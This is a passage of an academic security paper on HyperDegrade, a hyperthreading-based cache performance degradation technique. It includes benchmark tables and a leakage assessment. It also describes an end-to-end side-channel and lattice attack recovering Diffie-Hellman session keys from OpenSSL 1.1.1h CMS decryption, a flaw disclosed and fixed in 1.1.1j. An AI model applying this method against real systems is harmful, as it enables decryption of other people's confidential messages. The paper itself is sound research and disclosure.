Skylake i7-6700 3.4 GHz 4 / 8 Ubuntu 18, 32 GB RAM
Kaby Lake i7-7700HQ 2.8 GHz 4 / 8 Ubuntu 20, 32 GB RAM
Coffee Lake i7-9850H 2.6 GHz 6 / 12 Ubuntu 18, 32 GB RAM
Whiskey Lake i7-8665UE 1.7 GHz 4 / 8 Ubuntu 20, 16 GB RAM

by the victim.
Allan et al. [7, Sect. 4] use the SPEC 2006CPU benchmark

suite, specifically 29 individual benchmark applications, to
establish the efficacy of their DEGRADE technique as a per-
formance degradation mechanism. In our work, we choose a
different suite motivated from several directions.

First, unfortunately SPEC benchmarks are not free and
open-source software (FOSS). In the interest of Open Science,
we instead utilize the BEEBS benchmark suite by Pallister
et al. [47, 48] which is freely available2. The original inten-
tion of BEEBS is microbenchmarking of typical embedded
applications (sometimes representative) to facilitate device
power consumption measurements. Nevertheless, it suits our
purposes remarkably.

These 77 benchmark applications also differ in the fact that
they are not built with debug symbols, which is required to
apply the Allan et al. [7] methodology. While debug symbols
themselves should not affect application performance, they
often require less aggressive compiler optimizations that, in
the end, result in less efficient binaries which might paint an
unrealistic picture for performance degradation techniques
outside of research environments.

We used the BEEBS benchmark suite off-the-shelf, with
one minor modification. By default, BEEBS statically links
the individual benchmark libraries whereas HYPERDEGRADE
(and originally DEGRADE) target shared libraries. Hence, we
added a new option to additionally compile each benchmark
as a shared library and dynamically link the benchmark appli-
cation against it.

4.1 Experiment
Before presenting and discussing the empirical results, we
first describe our experiment environment. Since HYPER-
DEGRADE targets HT architectures specifically, we chose
four consecutive chip generations, all featuring HT. Table 3
gives an overview, from older to younger models.

Our experiment consists of the following steps. We used the
perf utility to definitively measure performance, including
clock cycle count. In an initial profiling step, we exhaustively
search (guided by perf metrics) for the most efficient cache
line to target during eviction. We then run three different
tests: a baseline NODEGRADE, classical DEGRADE, and our
HYPERDEGRADE from Section 3. Each test that involves
degradation profiles for the target cache line independently:

2https://github.com/mageec/beebs

Table 4: Statistics (aggregated from Table 8 and Table 9) for
different performance degradation strategies targeting BEEBS
shared library benchmarks, across architectures.

Family Method Median Min Max Mean Stdev
Skylake DEGRADE 11.1 1.4 33.1 13.1 8.0
Skylake HYPERDEGRADE 254.0 10.4 1101.9 306.3 226.7
Kaby Lake DEGRADE 10.6 1.4 36.5 12.0 7.5
Kaby Lake HYPERDEGRADE 266.4 10.2 1060.1 330.6 229.0
Coffee Lake DEGRADE 12.2 1.5 39.0 14.0 7.9
Coffee Lake HYPERDEGRADE 317.5 13.0 1143.7 382.5 246.9
Whiskey Lake DEGRADE 12.5 1.5 43.9 14.4 9.2
Whiskey Lake HYPERDEGRADE 364.3 13.5 1349.3 435.8 280.9

i.e. the target cache line for DEGRADE is perhaps not the
same as HYPERDEGRADE. We then iterate each test to gather
statistics, then repeat for all 77 BEEBS benchmarks, and fur-
thermore across the four target architectures. We used the
taskset utility to pin to separate physical cores in the DE-
GRADE case, and same physical core in the HYPERDEGRADE
case.

4.2 Results

While Table 8 and Table 9 contain the full statistics per archi-
tecture, strategy, and BEEBS microbenchmark, Table 4 and
Figure 5 provide high level overviews of the aggregate data.
Table 4 shows the efficacy of HYPERDEGRADE over clas-
sical DEGRADE is striking, with median slowdown factors
ranging from 254 to 364, and maximum slowdown factors
ranging from 1060 to 1349. These maximum slowdowns are
what our title alludes to—for example, in the Skylake i7-6700
case (maximum), reducing the 3.4 GHz base frequency to a
3.1 MHz effective frequency when observed from the victim
application perspective.

Figure 5 visualizes the aggregate statistics from Table 8
and Table 9. Due to the magnitude of the slowdowns, the
x-axis is logarithmic. Please note these data points are for
identifying general trends; the location of individual points
within separate distributions (i.e. different benchmarks) may
vary.

Finally, Table 10 and Table 11 for the PARSEC [13] mac-
robenchmark suite are analogous to Table 8 and Table 9 for the
BEEBS microbenchmarks. In this case, the slowdowns have
a noticeably smaller magnitude. We attribute the difference
to benchmarking goals. While BEEBS microbenchmarks are
typically CPU-bound and capable of running on bare metal,
that is not the case for PARSEC macrobenchmarks where
the focus is parallelism. The combined results from the two
benchmark suites demonstrate that while a typical binary will
not experience a slowdown of three orders of magnitude, mi-
crobenchmarks with small, tight loops usually exhibit more
significant slowdowns. This is convenient since the typical
application of performance degradation mechanisms is in con-
junction with side-channel attacks that target such hot spots.

In summary, the empirical data in this section validates the

2806    31st USENIX Security Symposium USENIX Association

https://github.com/mageec/beebs


 0

 0.1

 0.2

 0.3

 0.4

 0.5

 0.6

 0.7

 0.8

 0.9

 1

 0  1  2  3  4  5  6  7  8  9  10  11

C
u

m
u

la
ti

v
e 

p
ro

b
ab

il
it

y

Slowdown factor (log2)

Skylake: Degrade
Skylake: HyperDegrade

Kaby Lake: Degrade
Kaby Lake: HyperDegrade

Coffee Lake: Degrade
Coffee Lake: HyperDegrade

Whiskey Lake: Degrade
        Whiskey Lake: HyperDegrade

Figure 5: Distributions (computed from Table 8 and Table 9)
for different performance degradation strategies targeting
BEEBS shared library benchmarks, across architectures. Note
the x-axis is logarithmic (log2).

HYPERDEGRADE concept and answers RQ 1 authoritatively.
The data shows a clear advantage—even reaching three orders
of magnitude in select microbenchmark cases—of HYPER-
DEGRADE over classical DEGRADE. Therefore, as a pure
performance degradation mechanism, HYPERDEGRADE out-
performs DEGRADE.

5 HyperDegrade: Assessment

Applying the HYPERDEGRADE concept from Section 3, Sec-
tion 4 subsequently showed the efficacy of HYPERDEGRADE
as a performance degradation technique. Similar to the clas-
sical DEGRADE technique, we see the main application of
HYPERDEGRADE in the SCA area to improve the granularity
of microarchitecture timing traces. That is the focus of this
section.

We first enumerate some of the shortcomings in previous
work on performance degradation. Allan et al. [7, Sect. 5]
show that decreasing the FLUSH+RELOAD wait time—while
indeed increasing granularity—generally leads to a higher
number of missed accesses concerning the targeted line. This
was in fact the main motivation for their DEGRADE tech-
nique. Applying DEGRADE [7, Sect. 7], the authors argue
why missed accesses are detrimental to their end-to-end crypt-
analytic attack. While the intuition for their argument is logi-
cal, the authors provide no evidence, empirical or otherwise,
that DEGRADE actually leads to traces containing statistically
more information, which is in fact the main purpose of perfor-
mance degradation techniques. The motivation and intuition
by Pereida García and Brumley [50] is similar—albeit with a
different framework for target cache line identification—and
equally lacks evidence.

The goal of this section is to answer RQ 2, rectifying these
shortcomings inspired by information-theoretic methods. We

1200 <x64_victim_0>: 1400 <x64_victim_1>:
1200: mov $CNT,%r10 1400: mov $CNT,%r10
1207: add $0x1,%r10 1407: add $0x1,%r10
120b: sub $0x1,%r10 140b: sub $0x1,%r10
... ...
12e7: add $0x1,%r10 14e7: add $0x1,%r10
12eb: sub $0x1,%r10 14eb: sub $0x1,%r10
12ef: sub $0x1,%r10 14ef: sub $0x1,%r10
12f3: jnz 1207 <x64_victim_0+0x7> 14f3: jnz 1407 <x64_victim_1+0x7>
12f9: retq 14f9: retq

Figure 6: Functions of a shared library (objdump view) used
to construct an ideal victim for our SCA leakage assessment
experiments.

do so by utilizing an established SCA metric to demonstrate
that classical DEGRADE leads to statistically more leakage
than FLUSH+RELOAD in isolation. Additionally, our HYPER-
DEGRADE technique further amplifies this leakage.

5.1 Experiment

Figure 6 depicts the shared library we constructed to use
throughout the experiments in this section. The code has two
functions x64_victim_0 and x64_victim_1 that are essen-
tially the same, but separated by 512 bytes. The functions set a
counter (r10) from a constant (CNT, in this case 2k), then pro-
ceed through several effective nops (add and sub instructions
that cancel), then finally decrement the counter and iterate.

We designed and implemented an ideal victim application
linking against this shared library. The victim either makes
two sequential x64_victim_0 calls (“0-0”) or x64_victim_-
0 followed by x64_victim_1 (“0-1”). We then used the stock
FLUSH+RELOAD technique, probing the start of x64_vic-
tim_0 (i.e. at hex offset 1200).

Pinning the victim and spy to separate physical cores, we
then procured 20k traces, in two sets of 10k for each of 0-0
and 0-1, and took the mean of the sets to arrive at the average
trace. Figure 7 (Top) represents these two baseline FLUSH+
RELOAD cases with NODEGRADE strategy as the two plots
on the far left.

The next experiment was analogous, yet with the classical
DEGRADE strategy. We degraded two cache lines—one in
x64_victim_0 and the x64_victim_1, both in the middle of
their respective functions. These are the two middle plots in
Figure 7 (Top). Here the victim, spy, and degrade processes
are all pinned to different physical cores.

Our final experiment was analogous, yet with our novel
HYPERDEGRADE strategy and pinning the victim and de-
grade processes to two logical cores of the same physical
core—degrading the same two cache lines—and the spy to
a different physical core. These are the two plots on the far
right in Figure 7 (Top).

What can be appreciated in Figure 7 (Top), is that both
performance degradation strategies are working as intended—
they are stretching the traces. The remainder of this section
focuses on quantifying this effect. In fact HYPERDEGRADE
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Table 5: POI counts and ratios at various NICV thresholds
across degrade strategies (see Figure 7). The ratios (x) are
between the different strategies.

Threshold NODEGRADE DEGRADE HYPERDEGRADE

0.1 233 1212 (5.2x) 13151 (56.4x, 10.9x)
0.2 188 1149 (6.1x) 11664 (62.0x, 10.2x)
0.3 167 1097 (6.6x) 11159 (66.8x, 10.2x)
0.4 147 1049 (7.1x) 10194 (69.3x, 9.7x)
0.5 117 969 (8.3x) 6003 (51.3x, 6.2x)

stretches the traces to such an extreme that the NODEGRADE
data on the far left is scantily discernible in this visualization.

5.2 Results

Recalling from Section 2.3, NICV suits particularly well for
our purposes, since it is designed to work with only public
data and is agnostic to leakage models [11]. The latter fact
makes NICV pertinent as a metric to compare the quality
of traces [11, Sect. 3]. The metric—in the interval [0,1]—is
defined by

NICV(X ,Y ) =
Var[E[Y |X ]]

Var[Y ]
(1)

with traces Y , classes X , and E the expectation (mean). The
square root of the NICV metric, or the correlation ratio, is an
upper bound for Pearson’s correlation coefficient [53, Corol-
lary 8]. Two classes (0-0 and 0-1) suffice for our purposes,
simplifying Equation 1 as follows.

NICV(X ,Y ) =
(E[Y |X = 0]−E[Y |X = 1])2

4 ·Var[Y ]

Figure 7 (Bottom) illustrates applying this metric to the two
sets of measurements for each degrade strategy—baseline
NODEGRADE, DEGRADE, and HYPERDEGRADE—and visu-
alizing the square root, or maximum correlation. With simple
thresholding to identify POIs (i.e., those points that exceed
a fixed value), this leads to the POI statistics in Table 5. To
give one extremely narrow interpretation, with CNT set to 2k
in Figure 6, less than 2k POIs indicates information is being
lost, i.e. the victim is running faster than the spy is capable
of measuring. With this particular victim in this particular
environment, it implies neither NODEGRADE nor DEGRADE
achieve sufficient trace granularity to avoid information loss,
while HYPERDEGRADE does so with ease.

In conclusion, this definitively answers RQ 2; the DE-
GRADE strategy leads to statistically more information leak-
age over stock FLUSH+RELOAD due to the significant POI
increase. Similarly, it shows HYPERDEGRADE leads to sig-
nificantly more POIs compared to DEGRADE, but at the same
time (on average) slightly lower maximum correlation for
each POI.
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Figure 7: Top: averaged traces across different degrade strate-
gies and different victim execution paths (i.e. classes, 0-0
and 0-1). The legend corresponds to the plots from left to
right. Bottom: the NICV metric’s square root, or maximum
correlation. The legend again corresponds to the plots from
left to right. The plots align and display the same time slice.

6 HyperDegrade: Exploitation

While Section 5 shows that HYPERDEGRADE leads to more
leakage due to the significant increase in POIs, the Figure 6
shared library and linking victim application are unquestion-
ably purely synthetic. While this is ideal for leakage assess-
ment, it does not represent the use of HYPERDEGRADE in
a real end-to-end SCA attack scenario. What remains is to
demonstrate that HYPERDEGRADE applies in end-to-end at-
tack scenarios and that HYPERDEGRADE has a quantifiable
advantage over other degrade strategies wrt. attacker effort.
That is the purpose of this section.

The leak. Recalling Section 2.4, the original Raccoon attack
exploits the fact that Diffie-Hellman as used in TLS 1.2 and
below dictates stripping leading zeros of the shared DH key
during session key derivation. The authors note that not strip-
ping is not foolproof can also lead to oracles [40, Sect. 3.5],
pointing at an OpenSSL function that is potentially vulnerable
to microarchitecture attacks [40, Appx. B]. They leave the
investigation of said function—unrelated to TLS—as future
work: a gap which this section fills.

Figure 8 shows that function, which is our target within the
current (as of this writing) state-of-the-art OpenSSL 1.1.1h
DH shared secret key derivation. The shared secret is com-
puted at line 36; however, OpenSSL internals strip the leading
zero bytes of this result. Therefore, at line 40 this function
checks if the computed shared secret needs to be padded.
Padding is needed if the number of bytes of the shared secret
and the DH modulus differ.

The leakage model. Considering a theoretical leakage model,
the binary result of the line 40 condition leaks whether the
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33 int DH_compute_key_padded(unsigned char *key,

const BIGNUM *pub_key, DH *dh)↪→

34 {

35 int rv, pad;

36 rv = dh->meth->compute_key(key, pub_key, dh);

37 if (rv <= 0)

38 return rv;

39 pad = BN_num_bytes(dh->p) - rv;

40 if (pad > 0) {

41 memmove(key + pad, key, rv);

42 memset(key, 0, pad);

43 }

Figure 8: The target vulnerability in OpenSSL 1.1.1h Diffie-
Hellman shared key derivation for our end-to-end attack.

shared secret has at least eight leading zero bits (branch taken)
or not (branch not taken). This model—capable of extracting
at most eight bits of information—affects the key sizes that
are in scope. While 2048/256-bit DH parameters are more
consistent with current key size recommendations, the original
Raccoon attack [40, Table 3] is unable to target eight bits
of leakage in this setting: the authors explicitly leave it as
an open problem [40, Sect. 6.2]. They instead target legacy
(1024/160-bit) or non-standard (1036/160-bit) DH parameters
for an eight-bit leak. We follow suit, targeting legacy keys
(see Section 6.1) for the exact same reasons.

The victims. Our next task was to identify callers to the Fig-
ure 8 code from the application and protocol levels, since it is
unrelated to TLS. We successfully identified PKCS #7 (RFC
2315 [35]) and CMS (RFC 5652 [34]) as standards where
Figure 8 might apply. We subsequently used the TriggerFlow
tool [28] to verify that OpenSSL’s cms and smime command
line utilities have the Figure 8 function in their call stacks.

6.1 Attack Outline and Threat Model
In our end-to-end attack, all message encryptions and de-
cryptions are with OpenSSL’s command line cms utility. We
furthermore assume Alice has a static DH public key in an
X.509 certificate and, wlog., the DH parameters are the fixed
1024/160-bit variant from RFC 5114 [38]. OpenSSL supports
these natively as named parameters, used implicitly. We car-
ried out all experiments on the Coffee Lake machine from
Table 3.

Our Raccoon attack variant consists of the following steps.
(i) Obtain a target CMS-encrypted message from Bob to Alice.
(ii) Based on the target, construct many chosen ciphertexts
and submit them to Alice for decryption. (iii) Monitor Alice’s
decryptions of these ciphertexts with HYPERDEGRADE and
FLUSH+RELOAD to detect the key-dependent padding. (iv)
Use the resulting information to construct a lattice problem
and recover the original target session key between Bob and
Alice, leading to loss of confidentiality for the target message.
The original Raccoon attack [40] abstracts away most of these

steps, using only simulated SCA data.

Threat model. Our attack makes several assumptions dis-
cussed below, which we borrow directly from the existing
literature. (i) Our threat model assumes the attacker is able
to co-locate on the same system with Alice (victim), and fur-
thermore execute on the same logical and physical cores in
parallel to Alice. See the end of Section 3 for a discussion
of this standard assumption. (ii) We also assume that Alice
decrypts messages non-interactively, due to the number of
queries required. This is a fair assumption not only because
DH is literally Non-Interactive Key Exchange (NIKE) [22]
from the theory perspective, but also because CMS (the evo-
lution of PKCS #7) has ubiquitous use cases, e.g. including
S/MIME. Chosen ciphertext decryptions is a standard assump-
tion from the applied SCA literature [23, Sect. 1.1] [24, Sect.
1.4] [55, Sect. 3]. (iii) We assume the attacker is able to ob-
serve one encrypted message from Bob to Alice. This is a
passive variant of the standard Dolev-Yao adversary [21] that
is Man-in-the-Middle (MitM) capable of eavesdropping, and
the exact same assumption from the original Raccoon attack
[40, Fig. 1]. Ronen et al. [55, Sect. 3] call this privileged
network position since it is a weak assumption compared
to full MitM capabilities. To summarize, the overall threat
model used by Ronen et al. [55, Sect. 3] is extremely similar
to ours and encompasses all of the above assumptions. The
only slight difference is a stronger notion of co-location in
our case—from same CPU to same physical core.

Case study: triggering oracle decryptions. We briefly
explored the non-interactive requirement discussed above.
Specifically, two arenas: automated email decryption, and
automated decryption of certificate-related messages.

Recent changes in Thunderbird (v78+) migrate from the
Enigmail plugin to native support for email encryption and/or
authentication (PGP, S/MIME). Automated, non-interactive
decryption for various purposes (e.g., filtering) appears to
be a non-default (yet supported) option.3 Quoting from that
thread: “A lot of companies e.g. in the finance sector decrypt
the messages at a central gateway and then forward them
internally to the respective recipient.”

We also found explicit code meeting our non-interactive re-
quirement in the realm of automated certificate management.
(i) The Simple Certificate Enrollment Protocol (SCEP, RFC
8894 [32]) supports exchanging (public key encrypted, CMS
formatted) confidential messages over an insecure channel,
such as HTTP or generally out-of-band. This is in contrast to
the Automatic Certificate Management Environment (ACME)
protocol (RFC 8555 [9], e.g., Let’s Encrypt [2]), which relies
on the confidentiality and authenticity guarantees of TLS. The
open source4 Apache module mod_scep dynamically links
against OpenSSL to provide this functionality. (ii) The Certifi-
cate Management Protocol (CMP, RFC 4210 [41]) provides

3https://bugzilla.mozilla.org/show_bug.cgi?id=1644085
4https://redwax.eu/rs/docs/latest/mod/mod_scep.html
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similar functionality (i.e., public key encrypted, CMS format-
ted messages) with similar motivations (automated certificate
management over insecure channels). Yet the implementation
integrated into upcoming OpenSSL 3.0 does not currently
support encrypted protocol messages.5

6.2 Degrade Strategies Compared

This section aims at answering RQ 3 by means of compar-
ing three performance degradation strategies (NODEGRADE,
DEGRADE, HYPERDEGRADE) when paired with a FLUSH+
RELOAD attack to exploit this vulnerability. We reuse the fol-
lowing setup and adversary plan later during the end-to-end
attack (Section 6.3).

Experiment. We monitor the cache line corresponding to
the memmove function call and its surrounding instructions,
i.e. near line 41 of Figure 8. If memmove is executed, at least
two cache hits should be observed: (i) when the function is
called, (ii) then when the function finishes (ret instruction).
Therefore, if two cache hits are observed in a trace close to
each other, that would mean the shared secret was padded, and
in contrast a single cache hit only detects flow surrounding
line 41 of Figure 8.

We select the first cache line where the function memmove
is located as the degrading cache line. It is the stock, un-
modified, uninstrumented memmove available system-wide as
part of the shared C standard library libc. Degrading during
memmove execution should increase the time window the spy
process has to detect the second cache hit (i.e., increase time
granularity).

We strive for a fair comparison between the three degra-
dation strategies during a FLUSH+RELOAD attack. It is chal-
lenging to develop an optimal attack for each degradation
strategy and even harder to maintain fairness. Therefore, we
developed a single attack plan and swept its parameters in
order to provide a meaningful and objective comparison.

Table 6 summarizes the attack parameters and the explored
search space. The first parameter, r, affects trace capturing—
it specifies the number of iterations the FLUSH+RELOAD
wait loop should iterate. The remaining parameters belong to
the trace processing tooling. The second parameter, t, refers
to the threshold in CPU clock cycles used to distinguish a
cache hit from a miss. After some manual trace inspection, we
observed this threshold varies between degradation strategy
and FLUSH+RELOAD wait time; we decided to add it to the
search space. The last parameter, d, specifies the distance (in
number of FLUSH+RELOAD samples) between two cache
hits to consider them as close.

We explore this parameter search space, and for each pa-
rameter set—i.e., triplet (r, t,d)—evaluate the attack perfor-
mance, estimating the true positive (TP) and false positive

5https://www.openssl.org/docs/manmaster/man1/openssl-
cmp.html

Table 6: Attack parameters search space.
Parameter Range
FLUSH+RELOAD wait time (r) {128,256}
Cache hit/miss threshold (t) {50,100,150,200}
Cache hits closeness distance (d) {1,5,10, . . . ,95}

Table 7: Best results for degrade strategies.
Strategy Trace count Param. set (r,d, t)
NODEGRADE 651510 (128,1,100)
DEGRADE 181189 (256,1,170)
HYPERDEGRADE 53721 (256,1,170)

rates (FP). For this task, we generated two pairs of DH keys
(i.e., attacker and victim). We selected one of these pairs such
that the shared secret needs padding after a DH key exchange,
while for the other it does not.

We then captured 1k traces for each key pair, parameter set,
and degradation strategy under consideration and estimated
the TP and FP rates. We are interested in finding which pa-
rameter sets lead to more efficient attacks in terms of number
of traces to capture, i.e. number of attacker queries. Therefore,
we focused on those results with zero false positives for the
comparison, thus it is a best case analysis for all degradation
strategies.

Results. For 1024-bit DH, the lattice-based cryptanalysis re-
quires 173 samples where padding occurred (explained later).
Therefore, the following equation defines the average number
of traces that need to be captured, where Pr[pad] = 1/177≈
0.00565 with the fixed RFC 5114 [38] parameters.

num_traces = 173/(Pr[TP] ·Pr[pad])

Considering the very low probability the leakage occurs and
the increased complexity of lattice-based cryptanalysis in the
presence of errors (see [4, Sect. 6]), reducing the number of
traces is important for attack effectiveness.

Table 7 shows the best parameter set results for each de-
grade strategy that could lead to a successful attack. Note that
HYPERDEGRADE clearly reduced the number of required
traces to succeed by at least a factor of 3.3 when compared
with DEGRADE (the second best performer). This translates
into a considerable reduction in the number of traces: from
181k to 53k. Moreover, Figure 9 shows there is not just a
single parameter set where HYPERDEGRADE performs better
than DEGRADE, but rather there are 88 of them. These results
provide evidence that HYPERDEGRADE can perform better
than the other two degrade strategies for mounting FLUSH+
RELOAD attacks on cryptography applications, answering
RQ 3.

2810    31st USENIX Security Symposium USENIX Association

https://www.openssl.org/docs/manmaster/man1/openssl-cmp.html
https://www.openssl.org/docs/manmaster/man1/openssl-cmp.html
https://tools.ietf.org/html/rfc5114


 0

 50

 100

 150

 200

 0  500000  1x10
6

 1.5x10
6

 2x10
6

 2.5x10
6

 3x10
6

 3.5x10
6

 4x10
6

 4.5x10
6

N
u

m
b

er
 o

f 
p
ar

am
et

er
 s

et
s

Number of traces

HyperDegrade
Degrade

NoDegrade

Figure 9: Degrade strategies comparison: how many param-
eter sets can be used to mount an attack using x-number of
traces.

6.3 End-to-End Attack Instance

The remainder of this section answers RQ 4. We begin with
lattice details, then finish with the results of our end-to-end
attack.

Lattice construction. Alice’s public key ga is readily avail-
able and the attacker observes gb from the original target
query, along with ciphertext encrypted under the shared ses-
sion key gab (private). Then the attacker proceeds with chosen
queries, crafting ciphertext gbgri and random ri for submit-
ting to Alice for decryption. Alice then computes (gbgri)a =
gab · (ga)ri with the attacker measuring if padding occurs.
This is an instance of the hidden number problem (HNP)
by Boneh and Venkatesan [14]—to recover α = gab given
many ti = (ga)ri .

We use the lattice construction by Nguyen and Shpar-
linski [43] verbatim, stated here for completeness. Restrict-
ing to the ti where padding occurred, our SCA data tells us
0 < αti < p/2`, where we set `= 8 due to the nature of this
particular side channel; recall “branch taken” in Figure 8 says
at least the top eight bits are clear. Denoting ui = p/2`+1

yields vi = |αti−ui|p ≤ p/2`+1 where |x|p is signed modulo
p reduction centered around zero. Then there are integers λi
where abs(αti−ui−λi)≤ p/2`+1 holds, and this is the key
observation for lattice attacks; the ui approximate αti since
they are closer than a random integer modulo p. Consider the
rational d +1-dimension lattice generated by the rows of the
following matrix.

B =


2W p 0 . . . . . . 0

0 2W p
. . .

...
...

...
. . . . . . 0

...
0 . . . 0 2W p 0

2Wt1 . . . . . . 2Wtd 1



When we set W = 2`, ~x = (λ1, . . . ,λd ,α), ~y =
(2Wv1, . . . ,2Wvd ,α), and ~u = (2Wu1, . . . ,2Wud ,0) we
get the linear relationship ~xB−~u =~y. Solving the Closest
Vector Problem (CVP) with inputs B and ~u yields ~x, and
hence the target session key α. We also use the traditional
CVP-to-SVP (Shortest Vector Problem) embedding by
Goldreich et al. [25, Sec. 3.4]. Pereida García et al. [52]
suggest weighting on the average logarithm, hence we set
W = 2`+1 in our ` = 8 scenario. Lastly, to set the lattice
dimension we use the heuristic from [59, Sect. 9.1] verbatim,
which is d = 1− e−c. With their suggested confidence factor
c = 1.35 (to improve key bit independence), in our case it
leads to d = 173; this explains the constant from Section 6.2.
We use the same BKZ block size parameter as [40, Table 3],
β = 60.

Results. Following the results of Section 6.2, we proceeded
to capture 60k traces using HYPERDEGRADE and the param-
eter set shown in Table 7. Our capture tooling implements
precisely step (i) to (iii) in Section 6.1, obtaining a target
ciphertext, constructing chosen ciphertexts, and querying the
oracle. In the end, at each capture iteration the attacker only
needs to modify a public key field in an ASN.1 structure to
produce a new chosen ciphertext, then take the measurements
while Alice performs the decryption.

Considering the padding probability Pr[pad] = 1/177, the
expected number of padded traces in the 60k set is 339. After
processing each trace, our tooling detected 3611 paddings. It
indicates that, with high probability, these also contain false
positives. Albrecht and Heninger [4] focus on lattice-based
cryptanalysis of ECDSA and suggest adjusting lattice pa-
rameters at the cost of increased computation to compensate
for errors. We instead use a different approach in the DH
setting—not applicable in the ECDSA setting due to its usage
of nonces—to counteract those false positives.

To reduce the FP rate, for each trace where we detected
padding, we retry the query seven times and majority vote
the result. From the 3611 traces detected as padded, only 239
passed the majority voting. Therefore, the total number of
traces captured was 60k+7 ·3611 = 85277.

Even with the majority voting, some false positives could
remain; we sorted the 239 samples by the vote count. Then
we selected the highest ranked 173 samples to build the HNP
instances. For the sake of completeness, we verified there
were 47 false positives in the 239 set; however, all had the
lowest vote count of four.

We implemented our lattice using BKZ reduction from
fpylll6, a Python wrapper for the fplll C++ library [20].
We constructed 24 lattice instances from our SCA data, and
executed these in parallel on a 2.1 GHz dual CPU Intel Xeon
Silver 4116 (24 cores, 48 threads across 2 CPUs) running
Ubuntu 20 with 256 GB memory. The first instance to recover
the session key did so in one hour and five minutes with a

6https://github.com/fplll/fpylll
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single BKZ reduction. With no abstractions, utilizing real
trace data at the application level, and real protocol messages,
our end-to-end attack resolves RQ 4.

OpenSSL disclosure. We contacted the OpenSSL security
team to disclose our results regarding the exploitability of this
leak. We also designed, implemented and tested a fix7 that
avoids executing the leaky branch. We achieved this by chang-
ing the default behavior of the dh->meth->compute_key
function pointer to always return a fixed-length array (i.e.,
the public byte length of p) in constant time, ensuring vari-
able pad is zero in Figure 8 (i.e., BN_num_bytes(dh->p) and
rv are equal). Retaining the branch and not simply removing
it is due to backwards compatibility issues with OpenSSL
engines [57]. OpenSSL merged our fix on 10 January 2021,
included as of version 1.1.1j.

7 Conclusion

HYPERDEGRADE increases performance degradation with
respect to state-of-the-art. The difference depends on the tar-
geted process, but we achieved slowdown factors up to three
orders of magnitude in select microbenchmark cases. In addi-
tion to increased cache misses, we discovered the cache-based
performance degradation root cause is due to the increased
number of machine clears produced by the processor detect-
ing a cache line flush from L1 as self-modifying code (RQ 1).
We analyzed the impact of DEGRADE and HYPERDEGRADE
on FLUSH+RELOAD traces from a theoretical point of view
using leakage assessment tools, demonstrating that HYPER-
DEGRADE tremendously increases the number of POIs, which
reflects in an increased time granularity (RQ 2). From an ap-
plied perspective, we designed a fair experiment that compares
the three degrade strategies NODEGRADE, DEGRADE, and
HYPERDEGRADE when coupled with a FLUSH+RELOAD
attack wrt. the number of traces needed to recover a secret
from a cryptography implementation (RQ 3). Our resulting
data demonstrates the benefits of HYPERDEGRADE, requiring
three times less traces and attacker queries to succeed, the
latter being the standard metric in applied SCA literature. Re-
garding cryptography, we answered an open problem from the
recently published Raccoon attack, providing experimental
evidence that such an attack applies with real data (RQ 4).

Availability. In support of Open Science and to ensure repro-
ducibility, we released our tooling for the Section 4 BEEBS
experiment as a freely available research artifact [5] for the
benefit of the community. The artifact can be used to repro-
duce Table 8 and Table 9.

Future work. Our work either reinforces or illuminates sev-
eral new avenues for continued related research.

In Section 6.2, we noted how the cache hit threshold varies
depending on various spy parameters. We have also noted this

7https://github.com/openssl/openssl/pull/13772

behavior in other FLUSH+RELOAD scenarios, outside this
work. It would definitely be an interesting future research line
to investigate its root cause.

In general, our off-the-shelf applied lattice techniques in
Section 6.3, while serving their purpose for proof-of-concept,
are likely not optimal. Fundamental lattice-based cryptanaly-
sis improvements (e.g., the recent [4]) are beyond the scope
of our work, but could reduce dimension and subsequently
attacker queries. Similar to our Raccoon variant, the original
Raccoon attack [40] is unable to target 2048/256-bit DH with
eight bits or less of leakage. The authors leave this as an open
problem, and we concur; indeed, improved lattice methods to
compensate for these significantly larger finite field elements
is an interesting research direction.

Several previous studies gather widespread certificate and
key usage statistics. For example, the original Raccoon at-
tack authors gather statistics for static DH keys in X.509
certificates for TLS 1.2 (and lower) authentication, and/or
ephemeral-static DH keys in TLS 1.2 (and lower) cipher
suites [40, Sect. 7] from public services. Bos et al. [15] gather
publicly-available elliptic curve keys from protocols and ser-
vices such as TLS, SSH, BitCoin, and the Austrian e-identity
card; Valenta et al. [60] consider IPSec, as well. Not specific
to any particular public key cryptosystem, Lenstra et al. [37]
gather publicly-available PGP keys and X.509 certificates
for TLS 1.2 (and lower) authentication. Along these lines,
although it is beyond the scope of our work, we call for future
studies that gather and share S/MIME key usage statistics,
paying particular attention to legal issues and privacy since,
different from PGP, we are not aware of any general public
(distributed) repositories for S/MIME keys.
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Table 8: BEEBS performance degradation results (cycles, thousands) on Skylake and Kaby Lake.
Skylake Kaby Lake

Benchmark NODEGRADE DEGRADE HYPERDEGRADE NODEGRADE DEGRADE HYPERDEGRADE

aha-compress 70583 848723 (12.0x) 16222580 (229.8x) 69754 697353 (10.0x) 18585074 (266.4x)
aha-mont64 21954 463471 (21.1x) 12066723 (549.6x) 22148 356097 (16.1x) 11607976 (524.1x)
bs 2032 8991 (4.4x) 171277 (84.3x) 2180 7137 (3.3x) 152106 (69.8x)
bubblesort 332386 9244976 (27.8x) 249121317 (749.5x) 305248 9197521 (30.1x) 229279506 (751.1x)
cnt 13237 191420 (14.5x) 4482733 (338.6x) 13488 187061 (13.9x) 5202446 (385.7x)
compress 8878 104299 (11.7x) 3248479 (365.9x) 9001 109617 (12.2x) 3767946 (418.6x)
cover 6982 172070 (24.6x) 2777996 (397.9x) 7165 95582 (13.3x) 2592937 (361.9x)
crc 7671 139690 (18.2x) 3745933 (488.3x) 7839 152098 (19.4x) 3516855 (448.6x)
crc32 46875 1458728 (31.1x) 31199559 (665.6x) 47004 1716899 (36.5x) 33339067 (709.3x)
ctl-stack 37481 528762 (14.1x) 11150759 (297.5x) 38447 577541 (15.0x) 15785236 (410.6x)
ctl-string 31088 981144 (31.6x) 14581397 (469.0x) 32189 799759 (24.8x) 17316754 (538.0x)
ctl-vector 30742 367393 (12.0x) 7275579 (236.7x) 31266 372204 (11.9x) 8280240 (264.8x)
cubic 33333 201498 (6.0x) 3240751 (97.2x) 30686 184586 (6.0x) 4497482 (146.6x)
dijkstra 1965916 39394667 (20.0x) 962126944 (489.4x) 1979452 36038128 (18.2x) 1032841427 (521.8x)
dtoa 13236 76977 (5.8x) 1374173 (103.8x) 13422 77959 (5.8x) 1838910 (137.0x)
duff 6332 60486 (9.6x) 2488543 (393.0x) 6448 56663 (8.8x) 1876609 (291.0x)
edn 192602 4037466 (21.0x) 65758984 (341.4x) 191705 2978126 (15.5x) 86795945 (452.8x)
